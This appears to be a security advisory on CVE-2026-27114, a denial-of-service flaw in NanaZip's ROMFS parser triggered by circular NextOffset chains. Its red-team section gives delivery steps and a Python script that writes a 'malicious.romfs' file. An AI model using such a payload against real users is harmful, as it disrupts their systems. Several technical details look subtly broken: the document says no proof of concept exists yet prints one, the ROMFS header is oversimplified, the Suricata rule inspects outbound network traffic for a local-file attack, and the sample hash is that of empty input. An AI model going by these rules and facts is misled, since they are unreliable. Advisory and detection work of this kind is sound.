CVE-2026-27114

Executive Summary

CVE-2026-27114 is a denial-of-service (DoS) vulnerability in the NanaZip file archiver, affecting versions 5.0.1252.0 through 6.0.1629.0. The flaw resides in the ROMFS archive parser, where a specially crafted archive containing circular NextOffset chains can cause an infinite loop, leading to a hang or crash of the application. This vulnerability is triggered when a user opens a malicious ROMFS archive, making it a local attack vector with low complexity. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low likelihood of exploitation in the wild. The vendor has released a patch in version 6.0.1630.0.

Supply Chain & Package Security

NanaZip is an open-source project distributed via GitHub and potentially through package managers like Chocolatey or Scoop. Users should verify the integrity of downloaded binaries using checksums provided by the official repository. The vulnerability does not affect the supply chain of other packages but poses a risk to end-users who process untrusted ROMFS archives.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Local (L) – The attacker must provide a malicious file to the victim.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the malicious archive.
• Scope (S): Unchanged (U) – Only the vulnerable component is affected.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Application becomes unresponsive or crashes.

Threat Level: Medium. The vulnerability requires user interaction and local access, but it can be weaponized to disrupt operations in environments where NanaZip is used to process untrusted archives.

Deep Dive & Mechanics

The ROMFS (ROM File System) format is a simple read-only filesystem used in embedded systems and firmware. NanaZip's parser iterates through directory entries using a NextOffset field to traverse the archive. The vulnerability occurs when a malicious archive creates a circular chain of NextOffset pointers (e.g., entry A points to entry B, which points back to entry A). The parser lacks a loop detection mechanism, causing it to follow the chain indefinitely, consuming CPU resources and hanging the application.

Root Cause: The parser does not maintain a visited set or limit the number of iterations when following NextOffset chains. An attacker can craft a ROMFS archive with a small number of entries that form a cycle, triggering an infinite loop.

Impact: The application becomes unresponsive, requiring termination by the user or system. In automated environments, this could lead to denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable parser loop
while (current_offset != 0) {
    // Process entry at current_offset
    current_offset = read_next_offset(current_offset);
    // No check for cycles or iteration limit
}

Patched Code (Conceptual):

// Patched parser with loop detection
#define MAX_ITERATIONS 10000
int iteration_count = 0;
while (current_offset != 0 && iteration_count < MAX_ITERATIONS) {
    // Process entry at current_offset
    current_offset = read_next_offset(current_offset);
    iteration_count++;
}
if (iteration_count >= MAX_ITERATIONS) {
    // Handle potential infinite loop
    return ERROR_CORRUPT_ARCHIVE;
}

The patch introduces an iteration limit (e.g., 10,000) to break out of circular chains. A more robust fix would also track visited offsets using a hash set.

Exploitation & Lab Setup

Red Team (Attacker)

1. Craft Malicious ROMFS Archive: Use a hex editor or custom script to create a ROMFS archive with two directory entries where NextOffset of entry 1 points to entry 2, and NextOffset of entry 2 points back to entry 1.
2. Deliver Payload: Send the archive via email, download link, or physical media.
3. Trigger Exploit: Victim opens the archive in NanaZip (versions 5.0.1252.0 to 6.0.1629.0). The application hangs indefinitely.

Example Python Script to Generate Malicious Archive:

import struct

def create_malicious_romfs():
    # Minimal ROMFS header (simplified)
    header = b'ROMFS' + b'\x00' * 12
    # Entry 1: NextOffset points to entry 2
    entry1 = struct.pack('<I', 0x40)  # NextOffset = offset of entry 2
    entry1 += b'\x00' * 12  # Padding
    # Entry 2: NextOffset points back to entry 1
    entry2 = struct.pack('<I', 0x20)  # NextOffset = offset of entry 1
    entry2 += b'\x00' * 12
    # Combine
    archive = header + entry1 + entry2
    with open('malicious.romfs', 'wb') as f:
        f.write(archive)
    print("Malicious ROMFS archive created: malicious.romfs")

create_malicious_romfs()

Blue Team (Defender)

1. Detection: Monitor for NanaZip processes consuming high CPU for extended periods.
2. Prevention: Block ROMFS archives at email gateways or use file scanning tools to detect malformed archives.
3. Response: If a user reports NanaZip hanging, terminate the process and analyze the archive for circular NextOffset chains.

Indicators of Compromise (IOCs)

• File Hashes (Example):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder – actual hash depends on crafted archive)
• Process Behavior:
  • NanaZip.exe consuming 100% CPU for >30 seconds.
  • Application not responding (hang) when opening a ROMFS file.
• Network: No network indicators (local vulnerability).
• File Artifacts:
  • ROMFS files with suspiciously small size (e.g., < 1 KB) but causing hangs.
  • Archives with multiple entries forming a cycle (detectable via static analysis).

Detection Engineering

YARA Rule

rule CVE_2026_27114_NanaZip_InfiniteLoop {
    meta:
        description = "Detects malicious ROMFS archives with circular NextOffset chains targeting NanaZip"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-27114"
    strings:
        $romfs_magic = "ROMFS"
        $next_offset_chain = { ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 }
    condition:
        $romfs_magic at 0 and #next_offset_chain >= 2
}

Sigma Rule

title: NanaZip Infinite Loop via Malicious ROMFS Archive
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects NanaZip process hanging due to circular NextOffset chains in ROMFS archives
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\NanaZip.exe'
        CommandLine|contains: '.romfs'
    condition: selection
    timeframe: 30s
falsepositives:
    - Legitimate large ROMFS archives (rare)
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-27114 NanaZip ROMFS Infinite Loop Attempt"; flow:to_server; content:"ROMFS"; depth:5; content:"|00 00 00 00|"; within:12; byte_test:4,=,0x20,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade NanaZip to version 6.0.1630.0 or later.
2. Workaround: Avoid opening ROMFS archives from untrusted sources. Use alternative archive tools (e.g., 7-Zip) for ROMFS files.
3. Detection: Implement the provided YARA and Sigma rules to identify malicious archives.
4. Monitoring: Monitor for abnormal CPU usage by NanaZip.exe and terminate hung processes.
5. User Training: Educate users not to open suspicious archive files.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst